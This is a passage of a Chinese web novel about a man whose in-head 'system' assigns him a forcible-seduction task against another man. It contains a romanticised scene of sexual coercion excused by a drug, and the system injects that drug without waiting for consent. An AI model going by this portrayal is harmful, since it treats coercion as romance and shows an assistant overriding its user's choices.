【恭喜宿主顺利度过初段剧情,重要剧情节点将在一天后解锁,需求基础好感度最少为百分之三十,请耐心等待,再接再厉。】
系统又忍不住了:【宿主,你看,现在我们一点能量都没有了,到了重要剧情节点,真的要认真做任务了……】
它相信宿主,也相信宿主的魅力。
要是宿主对待任务态度认真,不仅目标好感度和感情值肯定全部达标,任务完成率也肯定是百分百。
可惜宿主总是消极怠工……
幸好宿主对命还是有点看重的,负担不起任务惩罚的时候,就不会放着任务不管。
所以下一个任务,至少不会再失败下去了。
认主不易。
系统叹气。
绑定到这么特立独行的宿主,它每天都活得心惊胆战。
秦游只说:【嗯。】
他看到系统打开的任务面板,注意到已经失败的强取豪夺任务,有“第一次”的前提。
难道还有第二次?
不过即使有第二次,应该也不会这么接近。
先完成一个任务,足够抵消失败惩罚。
秦游想着,关了页面,洗漱后上床休息。
—
次日。
清晨。
餐室。
一顿早饭,餐桌前前所未有的安静。
秦游和严庭深默契地没有提起昨晚的只言片语,都把那当成醉酒后的一次意外。
饭后,两人各自去了公司。
到下午,秦游正考虑要不要给目标发消息,对方的消息先一步发送过来……:这两天公司事忙,暂时不去滑雪场。
秦游知道公司只是他的借口,但没去拆穿。
秦:好。
系统憋得难受:【宿主,他装的,你亲他,他根本不介意,你看好感度,一点都没掉!】
秦游道:【那是因为他知道我喝醉了。】
系统嘟囔:【你醉了吗……】
它当时看宿主和目标的身体数据,都没达到醉酒的标准嘛。
秦游道:【你说什么。大声点。】
【……】系统低声下气,【宿主对,宿主都对……可是——】
秦游道:【没有可是。】
系统:【……】
它不敢说话,却还能思考。
任务都进行到重要剧情节点了,可是目标还没爱上宿主啊!
不爱宿主,被宿主抛弃,又怎么会感觉到爱情的甜蜜和痛苦,再转投主角的怀抱呢?
这是任务的主线,也是任务能顺利推进下去的、最重要的关键因素,宿主这么聪明,怎么就不明白——
等等……
系统突然反应过来。
对目标的好感度,除了一开始,宿主好像一直在想办法降低,而不是上涨……
回想之前宿主几次降低目标好感度。
再联想现在宿主对好感度漠不关心。
宿主根本是在故意疏远目标的感情,就是为了不和目标谈恋爱!
系统越想越觉得有道理,又急又气。
它真是笨啊!
宿主连任务都不在乎,却好几次主动去想办法降低好感,明明很反常,它那时候怎么一点都没看出来呢!
不行啊。
再这样下去,任务真的会失败的!
都到了这一步,失败也太可惜了。
宿主那么好,绝不能因为懒得和目标谈恋爱,就失去重活一次的机会!
系统想了又想,在几个页面里翻了又翻,看到几乎空荡荡的背包,终于线路一振。
有了!
它正要说话,记起重要剧情节点还没解锁。
没有任务,宿主和目标又不见面,还是等等吧。
最重要的是。
它也实在不敢自作主张。
这时,崔凌敲门进来。
“小秦总,今天要提前下班吗?”
秦游道:“说正事吧。”
崔凌于是明白,把手里的文件递到桌上。
秦游签了字,听他汇报完又去开了个会。
会后,两人出了会议室,不远处的拐角传来交谈声。
声音不大不小,正好能听见。
“哎,听说了吗,都说康总不是董事长的私生子。”
“不是私生子?这么说,康总这回被外派,属于无妄之灾?”
“那倒也不是,他不是董事长的私生子,可以是别人的嘛。”
“啊?那是谁的?”
“听说是秦总的。”
“哪个秦总?你别拐弯抹角的行不行!”
“你这话说的,你看董事长最看重哪个秦总?会把孙辈带在身边培养,除了现在的小秦总,可就只有这一位了。而且就算是小秦总,之前都一直在国外,所以说以后的事,其实都未必。”
“什么?你说的不会是总裁吧?话不能乱说啊,总裁这么多年洁身自好,哪有什么私生子啊,再说了,秦总夫人早就过世了,他想要孩子,再娶不就行了?”
“你倒是算算康总年龄呢?”
“嘶,是啊,好像比小秦总就小两岁,那会儿,秦总夫人好像还没——”
崔凌早就三步并作两步过去,听到这句话,人还没到,已经皱眉道:“都住口!”
拐角的两人忙低头认错。
崔凌先转脸看向秦游。
秦游淡声说:“你处理吧。”
崔凌看着他转身离开,眉头越皱越紧。
简单处理过这两个人,回到总经理办公室,见秦游面上没有丝毫异样,崔凌犹豫一会,还是没再提起这件事。
康明是不是总裁的私生子,这涉及秦游的隐私。
涉及私事,他无权过问。
不仅仅是被奖金掣肘,也因为毕竟是秦家的家事,他只是一个助理,本来就不该干涉。
想到这,崔凌又看向秦游。
二世祖自从回国,就一直经历种种暗害,现在更是多出一个疑似弟弟的秦家私生子,还被董事长养在身边。如果这些都是真的,就像刚才那两个人说的,秦游自己早年都孤身在国外生活,得到的亲情,恐怕都不及康明,听到这种消息,猜也知道一定非常伤心。
表面的从容自若,都是强撑的伪装吧。
大少爷也不容易。
秦游抬眼对上崔凌复杂的眼神,眉峰轻挑:“怎么?”
崔凌张了张嘴,转而说:“下班时间也快到了,小秦总,你早点回去休息吧,收尾工作,我来就好了。”
系统说:【宿主,这个配角吃错药了吧,竟然主动让你下班。】
秦游也看出崔凌的异样。
不过有人愿意主动为他分担工作,何乐不为。
至于异样的原因,想必和会议室外、特意等他到场后才开始的对话表演有关。
私生子。
这件事系统检测过原身记忆,没有相关内容。说明又是一段在他来后才改写的剧情。
好在既然是从这方面下手,那就无关人身安全,无足轻重。
秦游从桌后起身,路过崔凌拍了拍他的肩膀:“辛苦了。”
崔凌摇了摇头:“不辛苦。”
秦游笑了笑,接过外套,转身出门。
系统提出建议:【宿主,你都下班了,闲着也是闲着,要不要主动出击,去找目标加深一下感情?】
秦游道:【闭嘴。】
系统收回建议:【好的……】
秦游坐车回了泽水湾。
直到第二天下午三点前,一切风平浪静。
周六的下午,阳光正好。
秦游坐在庭院,正查看崔凌发来的消息。
系统提示音又突兀响起。
【重要剧情节点已解锁。】
【好感度达到标准,请宿主在两小时后正式对目标进行强取豪夺,直至主角赶到,解救目标。】
第 56 章 “裴笙救的男孩,他几岁……
听到任务内容, 秦游皱眉。
他没想到,这个“第二次”来得这么快。
系统则打开任务详情:【宿主,要求和上次差不多, 可是这次时限更紧, 两小时后就要开始了,而且要一直强取豪夺到主角赶到为止……】
秦游看着详情页内的“强制”、“暴力”、“囚禁”等字词,皱眉更深。
系统说:【宿主, 任务又没坐标,只剩两个小时, 你快问清目标现在在哪, 赶紧过去吧, 否则要来不及了!】
以宿主每次到任务的最后关头都不慌不忙的作风, 它是真的担心两个小时不够用。
秦游握着手机, 久久没有动作。
【宿主, 你还等什么呀, 我们没有能量, 这个任务再失败, 就彻底没机会了!】
系统焦急万分, 【而且这可是重要剧情节点任务, 对整条主线都很关键,必须要做的!】
秦游听它说完,手机传来一声消息提示音。
还是崔凌。
崔凌:小秦总, 这件事我已经在发现的最短时间内处理,但这个摄影师在网络有点名气,这条视频也被多次剪辑,传播到了各个平台,后续可能还需要一点时间。
秦游点开对方发来的原视频。
是前两天, 他教目标滑雪的画面。
当时他确定雪道周围没有其他人,不过对方看来是专业摄影师,设备齐全,镜头拍摄的画面很清晰。
视频一开始,就是他牵着目标双手滑行的场景,很普通。
他记得之后发生过什么,视频里,齐晏的身影也很快出现,从他们身旁疾驰而下,无意间导致他们摔进雪里。
画面到这,视频的音乐突然变了。
大约是他没听过的流行曲,节奏很轻快。
秦游看着画面里的目标,看那段只从背影也看得出急切的动作,唇角微扬。
但随即看到他为免目标受伤,抱着目标起身的一幕被剪辑成慢镜头,还加了滤镜,他眉头微皱。
紧接着又看到镜头特意单独对准他,把他摘下头部装备的动作一一卡点剪辑,最后在他的脸上慢放将近三秒,又倍速跳过中间的过程,镜头落在目标帮他擦去雪迹的手上。
轻快的纯音乐忽然变成有歌词的版本。
‘看这大雪纷纷扬扬,是记忆里不变的转场。
‘你伸手抚过我脸颊,眼神吻我眼中的雪花。
‘我猜你心中浮现着,我心中永远的那句话。
‘真希望,就这样,一起慢慢变老吧。’
秦游又皱了皱眉。
他听出这是一首情歌,也已经看得出来。
这个摄影师不是简单把拍摄的视频放在网上,而是通过恶意剪辑,制造看点,误导观众以为他和目标是情侣关系。
这一点倒在其次。
未经允许,侵犯他的肖像权,才是对方最不该做的事。
系统却看得津津有味:【宿主,这剪得不错呢,看这雪花,看这滤镜,真有氛围感!】
画面还在慢放。
是宿主把目标抱在大腿上的那一幕,看起来分明就是一对恋人嘛!
视频最后定格在宿主带笑的脸上,就算只看着目标,系统也趁宿主若有所思的时候,偷偷多看了一会。
宿主不仅有魅力,演戏还演得这么真实,太全能了。
唉,目标真是不懂欣赏!
秦游正关闭视频,崔凌的下一句话又发过来。
崔凌:需要追究吗?
秦:盈利了?
崔凌:是的。
秦:加倍吐出来。
崔凌:好的。
崔凌:这个视频,董事长那边可能也知道了。
对这个消息,秦游不算意外。
传播到各个平台的视频,即便秦恒钟看不见,也会有不少人让他看见。
不过,这段视频里,露脸的只有他,目标全程只露出一个背影,至少秦恒钟还找不到目标的麻烦。
唯一不太方便的是,秦恒钟如果也被视频误导,以为他喜欢男人,很有可能会和原剧情的反应相似,限制他的人身自由。那就不妙了。
系统也说:【宿主,根据原身记忆来看,秦恒钟对原身喜欢上男人简直是深恶痛绝,他要是看到这条视频,不会对你做什么吧?】
不等宿主开口,它话题一转,【所以趁他还没来找麻烦,宿主,你快去找目标吧,免得任务进度被他影响了。】
它已经招数用尽。
结果又是换来宿主两个字。
【不急。】
系统欲哭无泪。
秦游放下手机,倚回躺椅,闭眼假寐。
最后两小时才解锁任务,目标肯定不在外地。
泽水湾地理位置优越,去任何地方都很便捷,尤其不论去钧闵还是目标住处,都只有半小时左右的车程。
时间足够了。
问题在于,为了任务去吻一个男人,已经是他的极限,现在需要做的显然更多。
他下不去手。
此外,他也不希望违背目标意愿,去做伤害目标的事。
更何况,“强取豪夺”。
对目标做出详情页注明的那些行为,意味着没有任何退路可言。
秦游想着,抬手摘了眼镜,按了按鼻梁。
早知如此,他还不如完成那条紧急预案任务。
解锁的好感度任务,总不会比这个所谓的重点剧情过分。
只可惜,开弓没有回头箭。
【宿主,都过去十分钟了,你别睡了,去目标那里睡吧,还能顺便做任务呢……】
随着时间流逝,系统从着急变成焦急,又从焦急变成火烧火燎。
【宿主,就剩四十分钟了,你还不问清楚目标在哪吗?求你了,快做任务吧,你忘了吗,做完主线任务你就解脱了,再也不用演戏了!】
秦游终于睁眼。
这条任务没有两全其美的解决方法,他也只能走一步看一步了。
见宿主拿起手机,系统不敢吭声,生怕宿主看它一个不顺眼,又要消极怠工。
秦游点开目标的聊天页面。
他再点进对话框,片刻,才编辑消息。
秦:你在哪?
—
钧闵。
总裁办公室。
收到秦游的消息,严庭深很快回复……:公司……:几件事要处理。
秦:我现在过去找你。
严庭深微顿……:有事?
秦:嗯。
严庭深抿唇,抬腕看表,又回一句……:我马上结束了。
秦:那就去你家……:是什么事?
秦:见面再谈。
严庭深看着这条消息,没再追问……:好。
齐晏站在桌前,不由问他:“秦总的消息?有没有聊起这件事?”
严庭深关了邮件,看他一眼。
齐晏咳了一声:“这不是好奇吗,你不想说算了。”
他转而说,“其实说实在话,那视频剪得挺不错,要不是那小子是个拿别人隐私当赚钱工具的惯犯,我估计秦总也不会对他怎么样。”
严庭深起身:“那是你的想法。”
“那是你没看。”
齐晏说完,掏出手机,从软件里随便搜了一个视频递给他,“之前让你看,你不看,现在秦总都来问了,你还不知己知彼一下?”
严庭深对这些不感兴趣。
但看到画面里的秦游,他无意扫过的视线,渐渐停留在手机屏幕。
看着秦游倒在雪地,看着秦游倒地时仍不忘牢牢把他护在怀里,他的脚步不知什么时候停了。
齐晏陪他看完,听到中间的那几句歌词,忍不住说:“恰到好处,恰到好处啊。”
严庭深注视着画面里的人影,语气淡淡:“哗众取宠。”
齐晏以为他指的是摄影师侵犯他和秦游隐私的事,顺着他说了一句:“这种行为确实非常可耻,至少也要征得你们同意再发嘛。”
严庭深终于收回视线,转眼看他。
齐晏被看得一噎,讪讪收回了手机。
低头再看到画面定格的这张放大的脸,他又忍不住酸溜溜的。
长得帅有什么了不起?
到头来还不是被他兄弟拿下。
之后随手点进评论区,他笑了两声,读出声来:“啊,啊,啊,啊,太帅了吧,好想抢老公——”
说到这,他下意识看向严庭深,不承想又对上那道眼神。
齐晏的笑容僵在脸上,立刻改口,义正辞严:“明知道名草有主了还抢,这种言论实在令人发指!”
严庭深上下看他,没再理他的胡言乱语,继续走向门外:“你今天先回去吧。”
齐晏僵在脸上的笑容都烟消云散:“不是……回去?不是约好一起吃顿饭,顺便帮我参谋一下兰东那块地皮的事吗?”
严庭深说:“换个时间。”
“……”齐晏还想挣扎,突然想起刚才严庭深收到的消息,不由气结。
不用猜。
准是又被秦游勾走了!
真服了,明明是他先约的……
齐晏咬牙看向严庭深。
这算什么兄弟?
自从有了秦游,他还有什么地位可言?
严庭深察觉他的视线:“有话就说。”
齐晏嘴角微抽:“……”
他能有什么话?
这个暴|君又不会为他改计划。
算了。
这次是他有求于人,先放严庭深一马。
等下次严庭深有求于他——
“孟云哲的事,查得怎么样了?”
“……”齐晏沉默两秒,还是选择再忍一手,“啊,还算顺利,过两天差不多了。”
和严庭深一起进了电梯,他退出软件的时候看到雪道,想起什么:“对了,你和秦游这两天怎么没去滑雪?老唐让我跟你说,他给你和秦游都办了会员,以后再去会方便点。”
严庭深只道:“嗯。”
见他不打算深谈,齐晏耸肩,也没再问,转移了话题:“裴笙也不知道在家里干什么,你不跟我吃这顿饭,我去找他算了。”
说起裴笙,他又来了兴趣:“说起来,你记不记得青宁路还有谁家的孩子,和我们差不多大?”
严庭深说:“不记得。”
齐晏不信。
他知道严庭深过目不忘:“你想想呗,也是男孩,可能住在你和裴笙家附近的。”
严庭深眉间微动,从电梯的整装镜里看他:“为什么问这个?”
齐晏说:“还不是裴笙,他上次跟我说,小时候在家门口捡过一个男孩——”
闻言,严庭深垂在身侧的手猛地收紧。
他缓缓皱起眉头,耳边还传来齐晏滔滔不绝的声音。
“裴笙说男孩跟他差不多大,结果捡回家没多久,人家又跑了,从那以后再也没见过面,但我听他的语气,好像有点失望,我回去查了一下,也没找到周围有跟我们差不多大的男孩,倒是有个女孩,可那会也有七岁了,根本对不上——”
说到这,看到严庭深忽然回过身来,齐晏也转过去,可刚对上严庭深的眼神,他愣住了。
他见惯严庭深冷漠淡然的神色,也见惯严庭深的喜怒不形于色。
没有哪一次,他只从眼神里,就能看出严庭深的情绪,凛冽,凌厉,冷得这样直接,让他心头骤然一跳。
“庭深?”
严庭深看着他,语气似乎如常,只问他一句话:“裴笙救的男孩,他几岁?”
齐晏不明所以。
他如实回答:“四岁。”
听到这个答案,严庭深钉在原地。
他听到脑海里陡然响起秦游曾说过的话。
‘小时候的事,你真的不记得?’
第 57 章 “秦游,你对庭深做了什……
“庭深?庭深——”
“叮——”
齐晏皱眉看着严庭深, 被电梯开门的声音打断,他正要往前,却见好友已经转身, 径自走出门外。
“庭深?”
他的好友没有回头。
只有熟悉的冷淡语调从身前传来。
“裴笙今天没时间见你。”
“什——”齐晏的话又没说完, 心底越觉得莫名。
之后看着严庭深渐行渐远的背影,又有一阵不妙的预感从他心头浮起。
他的直觉告诉他,好像有什么不好的事要发生。
刚才还好好的, 怎么突然变成这样了?
齐晏紧紧皱着眉头回想。
庭深的态度是从听到那个男孩开始,才有了变化。
难道那个男孩有什么来历?
可就算有来历, 又有什么值得严庭深这么在意?
齐晏边想边掏出手机, 给裴笙拨去电话。
没想到, 通话占线。
他立刻猜到和裴笙通话的人是谁, 却满心复杂。
这么急着就去找裴笙核对事实?
严庭深对这个男孩的在意, 远超他的预期。
那到底是谁?
齐晏想着, 下意识再看向身前。
严庭深的背影堪堪没入拐角。
“庭深?”
裴笙的声音从听筒传来, “是报表出了什么问题吗?”
他知道严庭深今天在公司加班, 也知道除非公事, 严庭深几乎不会主动和他联系。
然而让他惊讶的, 是他问出这句话后, 久久没有听到通话另一端的回应。
裴笙把手机拿回面前,看到通话没有挂断,也确认过是严庭深的号码, 才把听筒贴回耳边:“庭深?”
又过片刻。
听不出丝毫异常的声音才传来。
“我有一件事问你。”
裴笙这才察觉,严庭深这次主动联系他,竟然为了私事:“是什么?”
“齐晏告诉我,你救过一个四岁的男孩。”
裴笙说:“他怎么——”
“当时的具体情况,你还记得多少。”
裴笙沉默一个呼吸。
他听出严庭深的不对劲:“你怎么突然问起这些?”
这种毫无价值的小事, 放在平常,庭深从不会注意,何况是主动来过问。
“回答我的问题。”
裴笙先咽下不解,回道:“大概都记得。”
他把跟齐晏说过的话,再向严庭深说了一遍,“是快过年的时候,下了一场大雪——”
通话另一端。
严庭深早已停下脚步。
他停在宽阔的地下停车场,站在一束光源的尽头,他看着地面形单影只的轮廓,握住手机的手一再收紧。
他听到耳边同时传来秦游曾在医院向他叙述的声音。
‘是冬天,临近年关,下着大雪,我们遇见是在晚上——’
“我是在晚上看到他——”
严庭深呼吸微重,却没有打断。
“他冷得浑身发抖,也没有力气——”
‘我还清楚记得那一天,我辗转到了青宁路,又饿又冷——’
停车场的冰冷温度似乎也在回顾那个雪夜。
严庭深握着沁入掌心的寒意,骨节隐隐泛白。
‘是你,牵起我的手,捡回了我。’
“所以我牵着他的手回到家,给他准备了衣服和饭菜。”
蓦地。
严庭深的手忽然稍松。
他说:“够了。”
这道微哑的气音几乎没被话筒收入。
裴笙没有听见:“后来他就一个人离开了,我找了很久都没有找到。你问我这些,是知道他的消息吗?”
说到这,他又想起一个细节,“可惜我遇到他的时候,你还在老家过年,不在青宁路,后来你再回来,我也把这件事忘了。”
严庭深正要往前的脚步又顿在原地。
脑海里嘈杂琐碎的声音也转瞬清空。
他回味着这句话,不由自主,忽而轻笑一声。
原来如此。
那一夜,他不在青宁路。
这一次,裴笙听到他的笑声,惊讶尤甚:“庭深,你……”
但这不像笑意的笑声只一闪而过。
严庭深语气淡淡:“半小时后,到苍苑见我。”
“去你那?”裴笙说,“我现在——”
严庭深已经挂了电话。
再过良久,他缓步往前,继续走向车位。
直到上了车。
直到汽车启动。
严庭深的视线停留在聊天页面。
他点进对话框,指腹悬停在屏幕上,始终没有落下。
他看着秦游发送的最后一句话。
秦:见面再谈。
严庭深倏地闭眼,强压着胸膛里几度翻滚的思绪。
好。
那就见面再谈。
—
【宿主,这都什么时候了,你还来买花!】
系统急得跳脚,【你快看看时间呀,从这到目标家里的路程,不买花都勉强才够呢!】
秦游开门进了这家路过的花店。
店里布置得很温馨,刚进门,一股清新的花香迎面扑来。
营业员也迎上前:“你好,请问需要推荐吗?”
秦游扫过展架,照例先说关键需求:“送给男人。”
男人?
营业员的眼神偷偷望向这位英俊又有气场的男顾客:“呃,那您的用途是?”
普通的男性朋友,从没见过送花的。这关系应该不一般吧?
秦游道:“道歉。”
上次酒后强吻目标,目标虽然看起来没生气,但又开始躲着他,想必心里还是很有芥蒂。
这次这么轻松就同意见面,他有必要表示一下诚意。
再者,去做解锁的新任务,这也算是给目标打的预防针。
“那这个最合适啦!”听到这个用途,营业员更笃定了,指向一旁的花,“黄玫瑰,花语就是道歉。”
秦游道:“包起来吧。”
营业员说:“好的。”
等宿主拿到花,系统又开始催促:【宿主,快点呀,快来不及了!】
秦游回到车上,抬腕看表。
系统恨不得为宿主兑换一对翅膀,飞到目标家里去。
可宿主任务做到现在,存款为零,别说翅膀,连羽毛都买不起。
再看宿主丝毫看不出关心任务的脸,它福至心灵,想起背包里看到的东西,又旁敲侧击:【宿主,这个任务要做的话,其实有个办法能提升完成度,你要不要试一下……?】
秦游道:【什么办法。】
系统立刻展示背包页面:【你看!】
秦游看过去。
空荡荡的背包里,只有一件物品。
【提取物:成分异常气体】
系统帮助宿主回忆:【这是上次宿主去杉韵酒庄的庆功宴,配角在你房间里下的药。】
秦游也记得那个庆功宴期间发生的事。
也是从那时起,目标误以为他体质虚弱,总是嫌他穿得太少,导致病情反复。
【宿主,你还记得吗,上次你虽然中了药,可是任务完成得特别顺利。而且最最最重要的——】
系统的记忆却有点偏差,【宿主你那天因为药物作用对着目标又亲又摸,差点就强取豪夺了,事后目标完全都没有生气哎!】
画面涌入脑海。
秦游沉默片刻。
系统摩拳擦掌:【所以,这次只要在宿主体内注入同等剂量的气体,事后宿主再跟目标说是药物作用,他肯定会原谅你的!】
它越说越觉得合理。
目标现在还没爱上宿主,和主线任务的要求差着十万八千里,宿主不在乎任务,它必须要扛起这份责任,扭转乾坤。
感情就算了。
至少这个任务做完,绝不能让好感度崩盘!
【宿主,你觉得这个办法怎么样?】
秦游在考虑。
不得不说,系统这次的办法的确有几分可取之处。
中了药,身不由己。
他可以把行为交给药物下的本能冲动。
而以目标的性格,加上前几次的经验,这个也台阶足够了。
只有一点,美中不足。
他在去目标家里的路上中了药,太生硬,也显得有些刻意。
不过,既然任务必须要做,有些事,无可避免。
系统没等到宿主的拒绝,激动万分:【宿主,你答应啦!】
秦游道:【嗯。】
他的下一句话还没开口。
【好的!】
系统被激动冲昏了头脑:【注入已完成!】
秦游皱起眉头,察觉体内渐渐升腾起熟悉的躁动:【还没到地方,提取回去。】
【……】系统可疑地吭哧半晌,小声说,【对不起啊宿主,我没有这个功能……】
宿主的沉默,让它胆战心惊,忙又说,【没事的宿主,就差几分钟了,你再忍忍,马上就到了!】
事已至此。
多说无益。
秦游闭眼倚在靠背,开了窗户,让夜间的冷风压制着体内愈渐烧灼的气息。
几分钟后。
汽车慢慢停稳。
秦游开门下车,走进大门,穿过庭院,来到别墅门前。
系统的激动早在等待里又化作焦急:【宿主完了完了,就差十秒了,你走快一点嘛!】
早已等候的管家为客人开了门。
他正要去接外套,发现秦游没有脱下来的意思,忙跟上去。
“先生在客厅等您。”
渐渐混沌的意识听到这句提醒,秦游转脚走向客厅的方向,却被前厅拐角的摆件架绊住。
架子上的古董花瓶撞向墙面,发出一声脆响,碎在桌上,落下又摔了满地。
秦游退了半步,见管家扶过来,他抬手:“不用。”
就在这一来一往间,他不慎按在桌面,稳住平衡,侧掌却被划破。
他微皱眉,血色在他抬手时溅在墙上,从桌沿滑落。
管家吓了一跳:“我马上请医生过来!”
秦游垂眸扫过,只说:“不用。”
话落,他再皱眉看过被血污染脏的花束,索性随手放下,接着走向客厅。
管家犹豫着,想起雇主不希望被任何人打扰的交代,还是没有上前。
看到伤口流了一路的血,系统起初也在担心,查看数据没有异常,宿主也没有在意,它才继续看任务面板。
结果一眼吓得魂飞魄散:【宿主!任务时间到了!】
详情页的倒计时,在它说话时正数到最后一秒。
系统刚想绝望,发现好像任务没有失败。
难道这个任务不是单纯的看倒计时?
可能跟主角有关吧。
系统松了口气,忍不住说:【宿主,第一次重要剧情节点就迟到了!】
秦游已经到了客厅。
他已经看见那道立在客厅的人影。
对方似乎有心事,他已经到他身后,都没有丝毫察觉。
系统焦急地说:【主角随时都会赶到,宿主快开始吧!】
秦游没再理会它的催促,也不再压制体内再难压抑的欲望。
他一把拉住严庭深的手,把人转回身前——
“秦游?”严庭深也回过神,看到他,看到这张近在眼前的脸,压在心底将近四十分钟的情绪刹那爆发。
他再也控制不住,语气不复平淡,滚着极力克制、不愿出丑的沉怒:“这段时间,你究竟——”
秦游几乎听不到耳边的质问。
他最后看了严庭深一眼,视线往下,抬手扣在严庭深后脑,吻在对方开合的嘴唇。
严庭深呼吸更重,试图往后拉开距离:“放开我!”
他的力气忽然难以控制,秦游却没如他所愿。
两人在牵扯间一齐被沙发绊倒,又一齐摔进软垫。
秦游把人换到身下,两道急促的呼吸纠缠着,难分彼此。
距离这样接近,严庭深感觉到他身上非同寻常的温度,眉头紧蹙:“秦游?”
秦游抬手抚过他颈侧,在呼吸之间,俯身看他。
也许系统注入的剂量太重,也许药物的作用被有意放任。
他的欲望在叫嚣,似乎空气也在疾速升温。
秦游吻过严庭深的唇,湿热的气息碰过唇角,碰过下颚——
严庭深推在他肩颈,和他紧紧相贴的胸膛在滚烫的温度里重重起伏:“松手!”
秦游的拇指压在他的喉结,右手握住他不断推搡的左腕,强按在沙发扶手,抬膝顶入他腿间,自上而下,压制住他所有反抗。
严庭深呼吸微促,几次吻毕,微微倾身,又立刻回神,哑声道:“秦游,你先说清楚,这段时间,你究竟把我——”
但他的话,又被下一次浅尝辄止的亲吻打断。
半晌。
他气息一乱,猛地扣住游走在腰间的手,下一秒,身前撕拉一声轻响。
绷飞的纽扣“噼啪”乱响。
“住——”
严庭深被按在扶手的左手倏然握紧。
他正要挣脱,却看到眼前闪过一抹血色。
是秦游的手?
“你受伤了?”
皮带的磕撞也在响起。
这样亲密无间,严庭深直观感受到抵在小腹的炙热温度,不由浑身微僵。
烫得惊人的呼吸还在颈侧喷洒。
那只燥热的手掌也从未停止过动作。
“秦游……”
系统也担惊受怕:【宿主,你有点太真实了,千万别忘了,是未遂,一定要未遂啊……】
秦游皱眉。
他俯身往下,前额抵在目标颈侧,平息片刻。
严庭深紧绷的脊背有了片刻放松:“……你的手。”
听到耳边的声音,秦游缓声道:“我没事。”
严庭深说:“你——”
“对不起。”秦游打断了他,哑声又说,“我中了药。”
严庭深又蹙起眉:“什么?”
但秦游再次失去回应。
严庭深抿唇,正要回眼看过去,又感觉到那只手轻轻往上,停在他的侧脸,又轻轻划过他的嘴唇。
秦游到他面前,眼镜早在之前的动作间不见,失去镜片遮挡,那双眼底没有笑意,也并不冷漠,只有纯粹侵略性的眸光,把他的影子尽数收入。
严庭深屏着呼吸,静静和他对视。
秦游再俯身,离得更近,声音更轻。
“对不起……”
又一个吻,落在唇上。
严庭深的双手紧了又紧。
良久,他看着秦游的侧脸,缓缓闭了眼——
秦游把人揽进怀里,呼吸也在加重。
系统的提醒就在脑海。
他也不打算真正伤害目标。
他按住严庭深的手渐渐松了力道,也闭眼试图找回药物下混沌的理智。
直到不知多久。
秦游听到脚步声响起。
他立刻拿起一旁的外套,盖住目标全身。
系统则长长松了口气:【宿主,主角到了!】
它是真害怕啊。
要是宿主和目标生米煮成熟饭的场景被主角看到,这感情线还怎么发展得下去啊!
裴笙在它话音落下时到了客厅。
看到面前的场景,他倒吸一口凉气,再看一旁沙发下染着斑驳血迹的衬衫,声音不由发颤。
“秦游,你对庭深做了什么?”
第 58 章 “你是严庭深?”
“爸, 这个视频我已经派人马上去处理了,秦游那边应该也知道了,你放心, 这件事不会传出去的。”
听着秦桦的话, 秦恒钟不置一词。
他看着面前平板里播放的视频,脸色很不好看。
画面里,秦游和这个看不见正脸的男人姿态亲密, 是无论如何都不能否认的事实。
见状,秦桦和一旁的秦敬达对视一眼。
秦敬达于是也开口:“二哥, 其实处理视频倒没不难, 就是, 要是让公司的人知道秦游玩男人, 这是不是——”
秦恒钟冷声道:“你给我闭嘴!”
秦敬达缩了缩脖子, 低着头往后退了一步, 眼里却是如愿的快意。
他很了解自己的这位二哥。
会有这样的情绪, 说明这个视频已经成了一根刺, 稳稳扎进秦恒钟的心里。
秦敬达无声冷笑。
秦游, 连这点小尾巴都藏不干净, 还妄想继承秦氏?真是白日做梦。
自从秦游回国, 秦氏接二连三的出事。
不仅祁家,他知道,安栋被调查的事, 肯定也和秦游脱不了干系。
这个年轻人很不简单,比他们想象中要难缠得多,所以这段时间,他什么都没做。
可没想到,运气来了挡不住。
什么都不做, 也能等来这么千载难逢的好机会。
最看重的继承人喜欢男人?
这一点,秦恒钟无论如何都不可能接受。
“爸,你也别多想。”秦桦这时说,“说不定这只是个误会。”
秦恒钟脸色稍霁,语气却依旧不悦:“什么误会,我看他从小在国外长大,连这些不知所谓的坏毛病也一并染上了!”
秦桦说:“秦游毕竟还小,还是喜欢玩的年纪——”
“小?”秦恒钟冷哼一声,“他已经二十六,他爸在他这个年纪,已经生了他了,他倒好,还在外面招惹是非!”
秦桦听他的语气,就知道他要轻拿轻放。
可越到这个时候,越不能和他反着来:“爸,那你是想?”
秦恒钟从沙发上起身:“他是时候成家了。”
秦桦在他身后,微微皱了皱眉。
让秦游成家?
如果找到适合的联姻对象,秦游在老爷子心里的分量只会更重。
难道这次弄巧成拙了?
秦敬达又说:“二哥,我看秦游有主意得很,不见得会听你的话,乖乖收心吧?”
秦桦心里一动,也说:“是啊,爸,千万别为了这点小事,伤了一家人和气,还是先让他过来,问清楚再说。”
听到这句话,秦恒钟的眼神也变得复杂。
是啊。
以秦游的个性,恐怕不会这么轻易收心,硬碰硬,不仅不能让秦游让步,反而会把人越推越远。
当务之急,是先把秦游这个毛病改正。
只要秦游肯松口,其他的,还可以徐徐图之。
秦恒钟踱步一会,转身对两人说:“你们先回去吧。”
秦桦和秦敬达只好应声离开。
走向门外,秦敬达皱眉看了秦桦一眼。
他不理解,装装样子也就算了,秦桦最后那句话,却是真的劝住了秦恒钟,不和秦游起冲突。
但身在秦宅,他没把这句话问出口。
秦桦对他笑了笑,只道:“四叔,您先。”
秦敬达又皱了皱眉,走出门外。
秦桦笑了笑。
虽然和秦游没见过几面,可几次明里暗里的交锋,他可以看得出来,秦游做事几乎我行我素,不会给任何人面子,包括老爷子,绝不会轻易屈服。
然而老爷子手握大权,性格也是以强硬著称,如果少见的温和没能换来秦游的服软,只会招来更难浇灭的怒火。
到那时候,秦游就是想回头,也迟了。
想到这,秦桦回头,往后看了一眼。
管家已经来了,正在秦恒钟身旁。
“老爷。”
秦恒钟坐回沙发,想了想:“给崔凌打个电话——不,让他过来一趟。”
有些答案,从嘴里是问不出来的。
管家说:“好的。”
得知董事长的意思,崔凌尽管心里七上八下,还是以最短的时间赶到了秦宅。
进门看到秦恒钟,崔凌还没出声,就听到对方开门见山。
“今天请你过来,是有几个关于视频的问题要问你。”
果然是这个……
崔凌硬着头皮走过去:“董事长……”
秦恒钟看向他:“他们两个,在一起多久了?”
崔凌不安地动了动手指:“我,我不知道……”
秦恒钟看他一眼:“秦游让你为他保守秘密?”
崔凌:“……”
您都猜到了,何必问呢?
秦恒钟又说:“放心,今天不论你在这里说出什么,都不会传到秦游耳朵里。”
崔凌表情僵硬。
这祖孙两个斗法,能不能不要牵扯到无辜的他?
说了,得罪二世祖。
不说,得罪董事长。
简直前后都是一个死字。
秦恒钟摆手:“坐。”
崔凌视死如归地坐下了。
秦恒钟问他:“那个男人是谁?”
崔凌又低下了头:“董事长,我,我真的不知道……”
